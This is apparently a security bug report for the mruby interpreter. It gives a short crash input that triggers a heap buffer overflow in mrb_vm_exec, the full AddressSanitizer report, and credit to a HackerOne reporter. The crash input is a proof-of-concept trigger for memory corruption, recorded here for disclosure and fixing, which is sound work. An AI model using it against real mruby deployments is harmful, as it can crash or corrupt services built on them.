Heap buffer overflow

[clayton-shopify]

The following input demonstrates a crash:

[][]=%

[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]-=0

ASAN report:

==35614==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61d00001de88 at pc 0x00010f0669fa bp 0x7fff50cfe870 sp 0x7fff50cfe868
WRITE of size 4 at 0x61d00001de88 thread T0
    #0 0x10f0669f9 in mrb_vm_exec (mruby+0x10016e9f9)
    #1 0x10f05e379 in mrb_vm_run (mruby+0x100166379)
    #2 0x10f08fb99 in mrb_top_run (mruby+0x100197b99)
    #3 0x10f15e665 in mrb_load_exec (mruby+0x100266665)
    #4 0x10f15f475 in mrb_load_file_cxt (mruby+0x100267475)
    #5 0x10eefa8ca in main mruby.c:232
    #6 0x7fffb4357254 in start (libdyld.dylib+0x5254)

0x61d00001de88 is located 8 bytes to the right of 2048-byte region [0x61d00001d680,0x61d00001de80)
allocated by thread T0 here:
    #0 0x10f29ef87 in wrap_realloc (libclang_rt.asan_osx_dynamic.dylib+0x4af87)
    #1 0x10eff3bb5 in mrb_default_allocf (mruby+0x1000fbbb5)
    #2 0x10ef75068 in mrb_realloc_simple gc.c:201
    #3 0x10ef7574e in mrb_realloc gc.c:215
    #4 0x10ef761c3 in mrb_malloc gc.c:236
    #5 0x10ef7625d in mrb_calloc gc.c:254
    #6 0x10f0557b2 in stack_init (mruby+0x10015d7b2)
    #7 0x10f05271f in mrb_funcall_with_block (mruby+0x10015a71f)
    #8 0x10f052097 in mrb_funcall_with_block (mruby+0x10015a097)
    #9 0x10f051877 in mrb_funcall_argv (mruby+0x100159877)
    #10 0x10ef38735 in mrb_obj_new (mruby+0x100040735)
    #11 0x10ef5d19d in mrb_exc_new_str (mruby+0x10006519d)
    #12 0x10ef677b7 in mrb_init_exception (mruby+0x10006f7b7)
    #13 0x10ef98990 in mrb_init_core (mruby+0x1000a0990)
    #14 0x10eff3b4e in mrb_open_core (mruby+0x1000fbb4e)
    #15 0x10eff3d1c in mrb_open_allocf (mruby+0x1000fbd1c)
    #16 0x10eff3ce7 in mrb_open (mruby+0x1000fbce7)
    #17 0x10eef9647 in main mruby.c:172
    #18 0x7fffb4357254 in start (libdyld.dylib+0x5254)

SUMMARY: AddressSanitizer: heap-buffer-overflow (mruby+0x10016e9f9) in mrb_vm_exec
Shadow bytes around the buggy address:
  0x1c3a00003b80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c3a00003b90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c3a00003ba0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c3a00003bb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c3a00003bc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x1c3a00003bd0: fa[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c3a00003be0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c3a00003bf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c3a00003c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c3a00003c10: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c3a00003c20: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==35614==ABORTING
Abort trap: 6

This issue was reported by https://hackerone.com/titanous